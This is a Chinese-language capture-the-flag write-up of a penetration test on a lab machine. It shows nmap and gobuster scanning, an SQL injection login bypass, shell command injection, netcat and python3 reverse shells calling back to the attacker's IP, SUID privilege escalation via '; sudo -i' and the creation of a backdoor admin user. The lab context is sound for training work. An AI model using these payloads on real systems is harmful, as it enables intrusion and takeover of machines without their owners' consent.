1305 字
5 分钟阅读
CTF01(命令注入加特权文件提权)

渗透测试报告

kali


靶机

一、先扫描网段

通过工具nmap
nmap -sn 192.168.1.0/24
发现靶机

扫描靶机的端口

nmap 192.168.1.60
发现其中8080端口开放并且有http-proxy的服务,这个是我们进行渗透的侧重点

二、查看该端口的目录

使用gobuster工具爆破其服务下的目录

sudo gobuster dir -u http://10.40.14.60:8080 -w /usr/share/wordlistes/dirbuster/directory-list-2.3-medium.txt -x php,txt,html,bak,zip,tar.gz --no-error -t 50

# -u url
# -w wordlist字典
# -x 给字典里的每个名字,都加上指定的后缀去爆破
# --no-error 不输出 / 屏蔽错误信息 简写 -ne
# -t 表示进程


发现有两个目录能够正常访问scan、console
分别访问这两个目录

http://10.40.14.60:8080/scan

三、通过sql注入绕过登录

"or 1=1 --

进入页面


通过拼接看是否能够执行shell指令

hello;ls


执行后的结果


说明可以通过拼接来执行SHELL指令,于是我们可以通过nc工具通过传递/bin/bash来控制靶机并生成一个用户然后提权,最后登录靶机

kali

nc -lvp 8888

靶机

nc 192.168.1.72 8888 -e /bin/bash
#通过测试 nc 192.168.1.72 8888可以使客户端与攻击机建立连接,但是只要加上-e这个参数不管加什么shell都不行,由此判断客户端的nc是精简版并非传统版,所以只能够通过python3来进行接下来的操作
python3 -c 'import socket,os,pty;s=socket.socket();s.connect(("10.0.2.15",8888));[os.dup2(s.fileno(),f) for f in (0,1,2)];pty.spawn("/bin/sh")'


建立好了连接,通过ls能够看到和拼接ls时获得的目录是一样的

四、对当前渗透的普通用户进行提权

输入指令sudo -l(查看当前用户是否能够免密)


发现需要当前用户密码才能够查看,所以不能使用SUID的二进制指令来提权,也不能够使用sudo vim并在命令模式中输入:!bash进入root来提权。

find / -user root -perm -4000 -type f 2>/dev/null发现家目录下有一个SUID文件(update_cloudav)


通过翻阅当前用户的update_cloudav.c文件中发现该文件内指令有漏洞,如果在执行命令的时候并拼接一个自己想要的指令就能够通过setgid(0),setuid(0),system(command)过程来获得root权限并执行命令,而拼接的命令需要引号来包围来防止在执行正常命令时被解析掉。

./update_cloudav "; sudo -i"

现在已经是root模式了(拥有所有权限)


创建一个普通用户


并为他赋予管理员权限并设置密码

id hacker查看hacker用户的信息

进入靶机重新登录

发表评论

您的邮箱地址不会被公开。 必填项已用 * 标注